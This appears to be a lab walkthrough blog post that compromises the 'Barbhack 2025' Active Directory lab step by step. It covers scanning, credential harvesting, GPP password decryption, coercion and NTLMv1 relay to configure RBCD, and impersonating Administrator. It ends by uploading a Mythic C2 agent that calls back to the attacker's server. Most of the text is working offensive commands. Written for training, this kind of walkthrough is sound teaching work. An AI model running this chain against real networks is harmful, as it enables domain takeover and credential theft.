Mythic C2 Server Barbhack 2025 — Pirates of the Caribbean — 108

Barbhack 2025 — Pirates of the Caribbean

Welcome to the 8th post in our Mythic C2 Server series.

In this post, we are finally taking our first step into an Active Directory (AD) environment. However, rather than focusing directly on a single technical topic, we will first build a general perspective: we will examine at which stages, for what purposes, and how we should position a C2 server within an Active Directory environment.

This section also includes a practical lab walkthrough: we will go through the Netexec lab scenario “Barbhack 2025 — Pirates of the Caribbean” together. This way, we will not only cover theory but also observe the use of a C2 in a realistic environment.

In the upcoming posts, we will move on to more specific topics. For example, I will cover deeper technical subjects such as how certificate attacks via ADCS are carried out within a Mythic C2 environment, or how different lab scenarios that are allowed to be published can be solved using a C2. In this way, we will gradually establish how a C2 server is used in real operational scenarios.

If you’re ready, let’s move on to the “Barbhack 2025 — Pirates of the Caribbean” lab.

First of all, I would like to give a brief introduction about this lab (BARBHACK 2025).

This lab is a highly comprehensive environment designed to allow you to experience Active Directory (AD) security testing as if it were a real attack scenario. Its main objective is to simulate an internal pentest process end-to-end, taking you from zero access to Domain Administrator level.

In the background of the lab, there is an Active Directory domain named PIRATES.BRB, and the entire scenario is built around this pirate-themed structure. The environment consists of multiple servers, similar to real-world corporate networks, each offering different services and attack surfaces. (app.daily.dev)

https://www.netexec.wiki/netexec-lab?q=

Lab Mimarisi

There are a total of four different servers in this environment:

• BLACKPEARL → Domain Controller
• JOLLYROGER → Web application server
• QUEENREV → MSSQL server
• FLYINGDUTCHMAN → Windows server

This setup combines the variety of services (web, database, authentication, backup systems) that can be encountered in a typical AD environment into a single scenario.

Attack Path

The lab does not follow a linear structure; instead, it offers a multi-stage progression that combines different attack paths. The goal is not just to find a single exploit, but to chain multiple techniques together to achieve domain control.

The progression is designed as follows:

• First, enumeration is performed and all services are discovered
• Initial access is obtained through the web application
• Then, classic AD vulnerabilities such as SMB, GPP, and NTLM relay are leveraged
• More advanced credential recovery techniques like DPAPI and GMSA are used
• On the MSSQL side, impersonation and command execution scenarios come into play
• Privilege escalation is performed through Kerberos and delegation mechanisms
• In the final stage, Domain Admin access is obtained through NTDS backup analysis

Objective of the Lab

The most important aspect of this lab is that, rather than focusing on a single attack technique, it teaches an end-to-end AD compromise process. In other words, it’s not just about “running an exploit,” but understanding, just like in a real pentest:

• where you gather which information from
• which service you pivot from to which attack
• at what point a C2 (such as NetExec or Mythic) comes into play

It helps you understand all of these aspects.

For setting up the lab, I used Ludus; I think it is one of the most accurate and stable methods for Proxmox server installation. In many scenarios, I’ve seen setups being done using nested virtualization by adding a virtualization layer like VirtualBox inside Ubuntu. However, this approach is both unnecessarily cumbersome and leads to significant performance loss. In particular, RAM usage increases and overall system efficiency decreases.

For this reason, a direct Proxmox-based setup with Ludus provides a much more practical and performant solution.

Additionally, I am planning to prepare a more detailed and separate post about lab setup using Ludus in the future.

Anyway, let’s get back to our topic and get started.

Barbhack 2025 — Pirates of the Caribbean

First, since our Linux machine is on the same IP network as the target AD environment, we determine the IP address of our Kali machine in order to identify which hosts are active on the network.

ifconfig

Based on the information obtained from the ifconfig output, we can see that we are on the 10.2.10.0/24 network. Now, let’s use NetExec to identify which machines are active on this network.

nxc smb 10.2.10.0/24

The information we obtained from a single nxc query is as follows:

• 10.2.10.11 → JOLLYROGER | PIRATES.BRB | Windows Server 2022 Build 20348 x64 | SMB signing: False | SMBv1: None
• 10.2.10.13 → FLYINGDUTCHMAN | PIRATES.BRB | Windows Server 2022 Build 20348 x64 | SMB signing: False | SMBv1: None
• 10.2.10.10 → BLACKPEARL | PIRATES.BRB | Windows Server 2022 Build 20348 x64 | SMB signing: True | SMBv1: None | Null Auth: True
• 10.2.10.12 → QUEENREV | PIRATES.BRB | Windows Server 2022 Build 20348 x64 | SMB signing: False | SMBv1: None

Scanning only port 445 across the entire network is not actually sufficient to identify all active hosts. The correct approach would be to perform a comprehensive scan of the entire network using Nmap. However, in this scenario, since we already know the underlying network architecture and existing hosts, and also to avoid unnecessarily extending the article, this method was chosen instead.

Now, using the host information obtained via NetExec (nxc), let’s create a hosts file and add it to /etc/hosts. This allows us to perform domain resolution locally without relying on DNS and enables faster access to target systems. At the same time, this step helps prevent potential Kerberos resolution issues (especially name resolution and ticket validation problems), making the attack/analysis process more stable.

nxc smb 10.2.10.0/24 --generate-hosts-file hosts.txt
cat hosts.txt | tee -a /etc/hosts

We are testing it:

Nmap

Now let’s run a comprehensive Nmap scan on the target hosts.

nmap 10.2.10.10-13 -sCV -Pn -p- --min-rate 10000 --open

nmap 10.2.10.10-13 -sCV -Pn -p- --min-rate 10000 --open

Nmap scan report for BLACKPEARL.PIRATES.BRB (10.2.10.10)
Host is up (0.00036s latency).
Not shown: 65507 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-18 19:53:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PIRATES.BRB, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PIRATES.BRB, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: PIRATES
|   NetBIOS_Domain_Name: PIRATES
|   NetBIOS_Computer_Name: BLACKPEARL
|   DNS_Domain_Name: PIRATES.BRB
|   DNS_Computer_Name: BLACKPEARL.PIRATES.BRB
|   DNS_Tree_Name: PIRATES.BRB
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-18T19:55:56+00:00
| ssl-cert: Subject: commonName=BLACKPEARL.PIRATES.BRB
| Not valid before: 2026-01-29T23:22:06
|_Not valid after:  2026-07-31T23:22:06
|_ssl-date: 2026-04-18T19:56:06+00:00; +6h59m59s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/wsmans?
| ssl-cert: Subject: commonName=WIN2022-SRV-X64
| Subject Alternative Name: DNS:WIN2022-SRV-X64, DNS:WIN2022-SRV-X64
| Not valid before: 2026-01-29T17:23:04
|_Not valid after:  2036-01-27T17:23:04
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
62567/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
62568/tcp open  msrpc         Microsoft Windows RPC
62573/tcp open  msrpc         Microsoft Windows RPC
62584/tcp open  msrpc         Microsoft Windows RPC
62609/tcp open  msrpc         Microsoft Windows RPC
MAC Address: BC:24:11:51:F4:42 (Proxmox Server Solutions GmbH)
Service Info: Host: BLACKPEARL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-18T19:56:00
|_  start_date: N/A
|_nbstat: NetBIOS name: BLACKPEARL, NetBIOS user: <unknown>, NetBIOS MAC: bc:24:11:51:f4:42 (Proxmox Server Solutions GmbH)
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Nmap scan report for JOLLYROGER.PIRATES.BRB (10.2.10.11)
Host is up (0.00035s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: PIRATES
|   NetBIOS_Domain_Name: PIRATES
|   NetBIOS_Computer_Name: JOLLYROGER
|   DNS_Domain_Name: PIRATES.BRB
|   DNS_Computer_Name: JOLLYROGER.PIRATES.BRB
|   DNS_Tree_Name: PIRATES.BRB
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-18T19:55:58+00:00
|_ssl-date: 2026-04-18T19:56:05+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=JOLLYROGER.PIRATES.BRB
| Not valid before: 2026-01-29T23:27:32
|_Not valid after:  2026-07-31T23:27:32
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WIN2022-SRV-X64
| Subject Alternative Name: DNS:WIN2022-SRV-X64, DNS:WIN2022-SRV-X64
| Not valid before: 2026-01-29T17:23:04
|_Not valid after:  2036-01-27T17:23:04
8080/tcp  open  http          Caddy httpd
|_http-server-header: Caddy
|_http-title: HP LaserJet Pro M404n - Web Interface
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
MAC Address: BC:24:11:08:BA:73 (Proxmox Server Solutions GmbH)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-18T19:56:00
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
|_nbstat: NetBIOS name: JOLLYROGER, NetBIOS user: <unknown>, NetBIOS MAC: bc:24:11:08:ba:73 (Proxmox Server Solutions GmbH)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Nmap scan report for QUEENREV.PIRATES.BRB (10.2.10.12)
Host is up (0.00053s latency).
Not shown: 65517 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-04-18T19:56:06+00:00; +6h59m59s from scanner time.
| ms-sql-ntlm-info: 
|   10.2.10.12:1433: 
|     Target_Name: PIRATES
|     NetBIOS_Domain_Name: PIRATES
|     NetBIOS_Computer_Name: QUEENREV
|     DNS_Domain_Name: PIRATES.BRB
|     DNS_Computer_Name: QUEENREV.PIRATES.BRB
|     DNS_Tree_Name: PIRATES.BRB
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-18T19:33:12
|_Not valid after:  2056-04-18T19:33:12
| ms-sql-info: 
|   10.2.10.12:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-04-18T19:56:06+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=QUEENREV.PIRATES.BRB
| Not valid before: 2026-01-29T23:27:34
|_Not valid after:  2026-07-31T23:27:34
| rdp-ntlm-info: 
|   Target_Name: PIRATES
|   NetBIOS_Domain_Name: PIRATES
|   NetBIOS_Computer_Name: QUEENREV
|   DNS_Domain_Name: PIRATES.BRB
|   DNS_Computer_Name: QUEENREV.PIRATES.BRB
|   DNS_Tree_Name: PIRATES.BRB
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-18T19:55:58+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?
| ssl-cert: Subject: commonName=WIN2022-SRV-X64
| Subject Alternative Name: DNS:WIN2022-SRV-X64, DNS:WIN2022-SRV-X64
| Not valid before: 2026-01-29T17:23:04
|_Not valid after:  2036-01-27T17:23:04
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
49798/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.2.10.12:49798: 
|     Target_Name: PIRATES
|     NetBIOS_Domain_Name: PIRATES
|     NetBIOS_Computer_Name: QUEENREV
|     DNS_Domain_Name: PIRATES.BRB
|     DNS_Computer_Name: QUEENREV.PIRATES.BRB
|     DNS_Tree_Name: PIRATES.BRB
|_    Product_Version: 10.0.20348
| ms-sql-info: 
|   10.2.10.12:49798: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 49798
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-18T19:33:12
|_Not valid after:  2056-04-18T19:33:12
|_ssl-date: 2026-04-18T19:56:06+00:00; +6h59m59s from scanner time.
MAC Address: BC:24:11:86:2D:9E (Proxmox Server Solutions GmbH)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-18T19:55:58
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
|_nbstat: NetBIOS name: QUEENREV, NetBIOS user: <unknown>, NetBIOS MAC: bc:24:11:86:2d:9e (Proxmox Server Solutions GmbH)

Nmap scan report for FLYINGDUTCHMAN.PIRATES.BRB (10.2.10.13)
Host is up (0.00026s latency).
Not shown: 65519 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=FLYINGDUTCHMAN.PIRATES.BRB
| Not valid before: 2026-01-29T23:27:34
|_Not valid after:  2026-07-31T23:27:34
| rdp-ntlm-info: 
|   Target_Name: PIRATES
|   NetBIOS_Domain_Name: PIRATES
|   NetBIOS_Computer_Name: FLYINGDUTCHMAN
|   DNS_Domain_Name: PIRATES.BRB
|   DNS_Computer_Name: FLYINGDUTCHMAN.PIRATES.BRB
|   DNS_Tree_Name: PIRATES.BRB
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-18T19:55:59+00:00
|_ssl-date: 2026-04-18T19:56:05+00:00; +6h59m58s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?
| ssl-cert: Subject: commonName=WIN2022-SRV-X64
| Subject Alternative Name: DNS:WIN2022-SRV-X64, DNS:WIN2022-SRV-X64
| Not valid before: 2026-01-29T17:23:04
|_Not valid after:  2036-01-27T17:23:04
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
MAC Address: BC:24:11:8B:1E:D2 (Proxmox Server Solutions GmbH)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: FLYINGDUTCHMAN, NetBIOS user: <unknown>, NetBIOS MAC: bc:24:11:8b:1e:d2 (Proxmox Server Solutions GmbH)
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m57s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-04-18T19:55:59
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 4 IP addresses (4 hosts up) scanned in 153.99 second

Nmap çıktısına doğrudan bakmak zor olabilir özetlemek gerekirse :

10.2.10.10 — BLACKPEARL (Domain Controller)

• 10.2.10.10 → 53/tcp (DNS)
• 10.2.10.10 → 88/tcp (Kerberos)
• 10.2.10.10 → 389/tcp (LDAP)
• 10.2.10.10 → 445/tcp (SMB)
• 10.2.10.10 → 3389/tcp (RDP)
• 10.2.10.10 → 5985/tcp (WinRM HTTP)
• 10.2.10.10 → 5986/tcp (WinRM HTTPS)
• 10.2.10.10 → 3268/tcp (Global Catalog LDAP)

10.2.10.11 — JOLLYROGER (Web + Client Access)

• 10.2.10.11 → 445/tcp (SMB)
• 10.2.10.11 → 3389/tcp (RDP)
• 10.2.10.11 → 5985/tcp (WinRM HTTP)
• 10.2.10.11 → 8080/tcp (Web Application — HP Printer Interface)
• 10.2.10.11 → 5986/tcp (WinRM HTTPS)

10.2.10.12 — QUEENREV (MSSQL Server)

• 10.2.10.12 → 445/tcp (SMB)
• 10.2.10.12 → 1433/tcp (MSSQL)
• 10.2.10.12 → 3389/tcp (RDP)
• 10.2.10.12 → 5985/tcp (WinRM HTTP)
• 10.2.10.12 → 5986/tcp (WinRM HTTPS)

10.2.10.13 — FLYINGDUTCHMAN (NTDS Backup Host)

• 10.2.10.13 → 445/tcp (SMB)
• 10.2.10.13 → 3389/tcp (RDP)
• 10.2.10.13 → 5985/tcp (WinRM HTTP)
• 10.2.10.13 → 5986/tcp (WinRM HTTPS)

Shares

Unfortunately, we do not have any access to SMB shares as anonymous or guest users.

Signing

With a quick check, we identify which hosts have SMB signing enabled and save the results to a file named relay.txt.

nxc smb 10.2.10.0/24 --gen-relay-list relay_list.txt

In our second check, we determine that LDAP signing is disabled on the DC.

nxc ldap 10.2.10.0/24

10.2.10.11 → 8080/tcp (Web Application — HP Printer Interface)

This will most likely be our initial entry point; now let’s examine the web service.

When we reach the target system, we are presented with a page belonging to an HP LaserJet printer.

In the Jobs section, we see that there are 50 jobs, and we notice that some of the status values are set to “completed” while others are “printing”.

When I check whether there is any important information in the documents, I receive an “Access Denied” error.

We see that all the documents are stored in a directory called /scan. When I try to access the directory, it requires HTTP authentication and asks for a username and password.

I tried simple passwords, but it didn’t work. In the next step, when we move to the Network tab, we see that the printer setup requires credentials. When we inspect the page’s HTML code, we find credential information belonging to the admin user.

Using the information we found, we are able to access the /scan directory.

Looking at the file names, the files consist of the following:

• 67 PDF files (.pdf)
• 24 Word documents (.docx)
• 29 Excel files (.xlsx)
• 10 PowerPoint presentations (.pptx)

When sorted by size, the file IT_Procedures.docx appears at the top. The sizes of the other files are quite small; most of them are likely empty or contain no meaningful content.

When I examine IT_Procedures.docx, I see that it contains a set of credential information.

I copied the information here into a file called cred.txt, and in order to format it properly for testing with NetExec, I run the following commands.

awk -F': ' '/Username/ {u=$2} /Temp Password/ {print u":"$2}' cred.txt > nxc_creds.txt

Now let’s separate the usernames and passwords from each other.

cut -d':' -f1 nxc_creds.txt > usernames.txt
cut -d':' -f2- nxc_creds.txt > passwords.txt

Let’s test the obtained information in NetExec.

nxc smb blackpearl.pirates.brb -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success | grep [+]

We see that three credentials are working. When we examine them in the DOCX file:

morgan

barnacle

plankwalker

Now let’s re-examine the shares using the credentials we obtained.

netexec smb 10.2.10.0/24 -u morgan -p 'Entry369@!*' --shares
netexec smb 10.2.10.0/24 -u barnacle -p 'First927&^!' --shares
netexec smb 10.2.10.0/24 -u plankwalker -p 'Entry284*@&' --shares

Unlike the other users, the barnacle user has read and write access to the TREASURE_HUNT share.

Let’s connect to the share using smbclient with the barnacle user and access it to perform enumeration.

/TREASURE_HUNT

smbclient //jollyroger.pirates.brb/TREASOR_HUNT -U 'barnacle' -W pirates.brb --password='First927&^!'

When we enter smbclient, we are only greeted by a flag.txt file. However, we must not forget an important point: since we have WRITE permissions, we can perform write operations on this file.

smbclient can be used in direct target-focused scenarios. However, if we want to access all files and information within a share and perform a more comprehensive enumeration, using NetExec’s spider_plus module is a smarter approach.

netexec smb 10.2.10.0/24 -u plankwalker -p 'Entry284*@&' -M spider_plus

cat 10.2.10.1* | jq

Now let’s download these files and examine them.

netexec smb 10.2.10.0/24 -u plankwalker -p 'Entry284*@&' -M spider_plus -o DOWNLOAD_FLAG=True

The most interesting file is Group.xml. This file is where Group Policy Preferences (GPP) configurations are stored. This feature was introduced with Windows Server 2008 to allow administrators to define passwords through Group Policy.

Passwords are stored in encrypted form, but since the static AES key used for encryption was leaked, it is quite easy to decrypt them.

The encrypted password belonging to the ADSAdmin user is located in the cpassword field.

With the Get-GPPPassword.py script from ShutdownRepo, we can automatically locate the Groups.xml file and decrypt the password inside it.

Get-GPPPassword.py plankwalker:'Entry284*@&'@blackpearl.pirates.brb

Also, there is one more thing we forgot: let’s list the users with NetExec.

netexec smb blackpearl.pirates.brb -u 'plankwalker' -p 'Entry284*@&' --users

Just to extract the usernames.

netexec smb blackpearl.pirates.brb -u 'plankwalker' -p 'Entry284*@&' --users-export output.txt

Another flag is also present in the NetExec output.

I performed a password spray to check whether passwords were reused among the obtained usernames, but I did not get any results.

Bloodhound-CE

Next is BloodHound. Let’s run BloodHound to analyze the users we obtained and the overall domain structure.

bloodhound-ce-python -d PIRATES.BRB -u plankwalker -p 'Entry284*@&' -ns 10.2.10.10 -c all --zip

I imported the zip file into BloodHound-CE and marked the users for whom I had credentials as “owned.” However, I could not identify any meaningful path from these users to any object that provides further access.

MSSQL

Let’s also try the usernames and passwords we obtained from the DOCX file on MSSQL this time.

nxc smb queenrev.pirates.brb -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success | grep [+]

We see that the same users are also valid on MSSQL.

I run the command again with --local-auth, but none of them work.

mssqlclient.py pirates.brb/plankwalker:'Entry284*@&'@queenrev.pirates.brb -windows-auth

When we list the databases, we come across a non-default database: (SECRET_GOLD).

SELECT name FROM sys.databases;

Let’s try to list the tables inside this database.

SELECT * FROM SECRET_GOLD.information_schema.tables;

We do not have permission to access this database. I also tried with other users, but I couldn’t obtain any results.

We are also unable to enable xp_cmdshell. I checked impersonation and linked servers as well, but there is nothing there either.

A dead end…

Delegation

Using the credentials, let’s check whether there is any delegation on the domain.

findDelegation.py pirates.brb/plankwalker:'Entry284*@&'

It is not surprising that unconstrained delegation is enabled on the DC. The QUEENREV$ computer account has constrained delegation rights on FLYINGDUTCHMAN without protocol transition. The lack of protocol transition may make things more difficult for us, but this situation is still quite advantageous.

Coerce

Based on this information, if we manage to compromise the QUEENREV$ account, we can gain further access through constrained delegation. For this, we will use NetExec’s coerce_plus module.

responder -I eth0

netexec smb 10.2.10.10-13 -u 'plankwalker' -p 'Entry284*@&' -M coerce_plus -o LISTENER=10.2.10.153

The hash we obtained belongs to the web server machine; it is not the hash of the QUEENREV$ account for which we identified delegation.

When I checked the hash type using the hashid tool, I confirmed that it is NTLMv1. I tried cracking it with Hashcat, but I did not get any results. It is likely a machine account, so the password is very long and randomly generated.

RELAY

Since the hash we obtained is NTLMv1:

• NetNTLMv2 (and NTLMv2 in general) includes a Message Integrity Code (MIC) mechanism that covers the entire authentication process. This MIC verifies not only the authentication data itself but also the protocol over which it is being performed. Because of this, if an authentication request is intercepted and an attempt is made to forward it to a different service (for example, from SMB to LDAP), the MIC validation will fail and the attack will be blocked.
• However, NTLMv1 does not include this MIC mechanism. This allows the authentication packet to be reused in a more “flexible” way. In other words, it is possible to capture the SMB authentication request coming from JOLLYROGER and relay it to the Domain Controller via LDAP. Since we previously confirmed that LDAP signing is disabled on the DC, the Domain Controller cannot distinguish that the request was originally generated for SMB.
• With this technique, the authentication can be relayed through the JOLLYROGER$ account to configure RBCD (Resource-Based Constrained Delegation). This would allow a user under my control to impersonate any user on JOLLYROGER, including Administrator.

Let’s disable Responder and start the ntlmrelayx tool with the following options:

• -t ldap://blackpearl.pirates.brb → The target to relay to, i.e., the LDAP service on the DC
• --delegate-access → Configures RBCD
• --escalate-user barnacle → Specifies the user who will be granted RBCD permissions on JOLLYROGER
• --remove-mic → Removes the MIC value in NTLMv1 authentication; required for cross-protocol relay from SMB to LDAP
• --smb2support → Enables SMB2 and SMB3 support for the relay listener

After starting this, we will coerce JOLLYROGER again and initiate the relay process.

ntlmrelayx.py -t ldap://blackpearl.pirates.brb --delegate-access --escalate-user barnacle --remove-mic -smb2support

netexec smb 10.2.10.10-13 -u 'plankwalker' -p 'Entry284*@&' -M coerce_plus -o LISTENER=10.2.10.153

Verification:

python3 rbcd.py -delegate-to 'JOLLYROGER$' -action read -dc-ip 10.2.10.10 'pirates.brb/barnacle:First927&^!'

Authenticate

Since the barnacle user does not have an SPN, we need to adjust the NTLM hash so that it matches the TGT session key. First, we need to obtain a TGT for the barnacle user.

The logic here is actually based on bypassing the validation mechanism of RBCD (Resource-Based Constrained Delegation), which is normally tied to accounts that have an SPN.

Under normal conditions, an account must have an SPN for RBCD to work, because Kerberos verifies whether the account is truly a service account through its SPN when granting delegation rights. This is why, in theory, plain user accounts without an SPN are not suitable for this scenario.

We can bypass this restriction by leveraging a behavior in Kerberos’ S4U2Proxy validation step. The critical point here is that when the DC checks delegation permissions, it does not only verify the presence of an SPN, but also requires that the session key inside the forwarded ticket can be validated.

To make this mechanism work for a user without an SPN, the attacker aims to set the user’s password in such a way that the resulting NTLM hash matches the Kerberos TGT session key. In this case, the system considers the user valid for delegation because the required cryptographic validation is satisfied.

Therefore, the first step in this process is obtaining a TGT for the barnacle user, since the session key inside this TGT will serve as the reference value for the subsequent password/hash manipulation.

getTGT.py pirates.brb/barnacle:'First927&^!'

If you experience a time synchronization issue like I did, run the following commands:

sudo systemctl stop systemd-timesyncd

sudo systemctl disable systemd-timesyncd

sudo ntpdate 10.2.10.10

From here, we can obtain the session key.

python3 describeTicket.py barnacle.ccache

Unfortunately, this key uses AES, so the session key value is much longer compared to NTLM. We need to request the TGT using the NTLM hash instead of the password. Since the actual password is not available, the DC cannot derive the AES keys, and in this case it falls back to the RC4 mechanism.

python3 getTGT.py -hashes :$(pypykatz crypto nt 'First927&^!') 'pirates.brb'/'barnacle'

describeTicket.py 'barnacle.ccache' | grep 'Ticket Session Key'

Now I will update the passwords by setting them to a specific hash using -nethashes.

python3 changepasswd.py -newhashes :a02f06d0223d8bd02c6585c84b0e85f0 pirates.brb/barnacle:'First927&^!'@blackpearl.pirates.brb

Now the next step is to request a Service Ticket as Administrator. On JOLLYROGER, we can request a service ticket as the barnacle user. Since RBCD allows us to request this for any user, we will request it for the Administrator user.

KRB5CCNAME=barnacle.ccache getST.py -u2u -impersonate Administrator -spn cifs/JOLLYROGER.pirates.brb pirates.brb/barnacle -k -no-pass

KRB5CCNAME=Administrator@cifs_JOLLYROGER.pirates.brb@PIRATES.BRB.ccache netexec smb jollyroger.pirates.brb --use-kcache

Yes, up to this point we progressed with the help of 0xdf. From here, we can generate an agent from our Mythic C2 server and use it to execute it on the target system.

I am planning to use Xenon as the payload. If you want to learn more detailed information about agents, you can refer to the 5th post in our series.

I am leaving the Configure payload section as default.

In the Select Command section, I import all commands.

I select httpx as the C2 Profile and enter the required values. As I mentioned, I won’t go into details here since I already covered this in the 5th post.

After creating the agent, we configure the config file to listen on port 443 on the httpx C2 profile, and we restart the system just in case.

Now let’s use NetExec to upload our agent to the target system and execute it.

KRB5CCNAME=Administrator@cifs_JOLLYROGER.pirates.brb@PIRATES.BRB.ccache nxc smb jollyroger.pirates.brb --use-kcache --put-file /home/kali/Downloads/xenon_httpx.exe \\Windows\\Temp\\app.exe

